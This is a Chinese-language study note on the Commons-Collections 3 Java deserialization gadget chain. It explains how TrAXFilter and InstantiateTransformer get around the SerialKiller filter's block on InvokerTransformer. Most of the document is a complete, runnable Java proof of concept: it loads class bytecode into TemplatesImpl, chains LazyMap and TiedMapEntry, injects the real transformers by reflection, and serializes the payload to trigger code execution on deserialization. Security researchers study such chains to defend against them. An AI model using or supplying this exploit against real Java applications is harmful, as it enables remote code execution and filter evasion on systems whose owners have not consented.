CC3主要是使用动态类加载,与CC1和CC6不同,CC1/6是Runtime命令执行,CC3是类加载,然后初始化调用静态代码块。TemplatesImpl加载类和初始化。
CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。
CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意方法,⽽是⽤到了另⼀个
类, com.sun.org.apache.xalan.internal.xsltc.trax.**TrAXFilte**
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass() (类加载)
在defineClass类加载完成以后,又继续运行defineTransletClasses类,会调用newInstance()进行实例化,触发静态代码块。
SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。它的黑名单中就存在InvokerTransformer类,因此CC3为了绕过黑名单,使用了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
类,这个类的构造方法中调⽤了(TransformerImpl) templates.newTransformer()
,免去了我们使用InvokerTransformer手工调用newTransformer()方法这一步。
这⾥会⽤到⼀个新的 Transformer,就是org.apache.commons.collections.functors.InstantiateTransformer
。InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。所以,我们实现的⽬标就是,利⽤ InstantiateTransformer 来调⽤到 TrAXFilter 的构造⽅法,再利⽤其构造⽅法⾥的 templates.newTransformer()
调⽤到 TemplatesImpl ⾥的字节码。避免了使用InvokerTransformer
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3TimplatesImpl {
public static void main(String[] args) throws Exception {
//TemplatesImpl中对加载的字节码是有一定要求的:
//这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
byte[] data = Files.readAllBytes(Paths.get("E:\\code\\springboot-demo\\src\\main\\java\\com\\duziteng\\springbootdemo\\test\\classLoadTest\\RuntimeTemplatesImpl.class"));
//TemplatesImpl内部类TransletClassLoader中有个方法defineClass来加载字节码
//gadget: getOutputProperties -> newTransformer -> getTransletInstance -> defineTransletClasses -> defineClass
TemplatesImpl obj = new TemplatesImpl();
//设置变量的一些值来满足判断,保证代码能走到我们想要的位置
setFieldValue(obj, "_bytecodes", new byte[][]{data}); // _bytecodes由字节码组成的数组
setFieldValue(obj, "_name", "");//_name可以是任意字符串,只要不为null即可
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());//_tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ,如果是null会出错。
// obj.newTransformer();//getTransletInstance -> defineTransletClasses -> newInstance
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//TrAXFilter构造方法中接收一个transformer然后调用它的transformer方法
//InstantiateTransformer用来实例化类,它的构造方法接收类的构造方法参数类型和参数值,transformer方法调用newInstance来实例化类
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
};
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer[]{new ConstantTransformer(1)});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aa");
HashMap<Object, Object> objectHashMap = new HashMap<>();
objectHashMap.put(tiedMapEntry, "aa");
decorate.clear();//清空,防止触发一次
//替换ChainedTransformer为真实的Transformer
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
serialize(objectHashMap);
unSerialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser2.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser2.bin"));
return objectInputStream.readObject();
}
/**
* setFieldValue()设置私有属性
*/
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}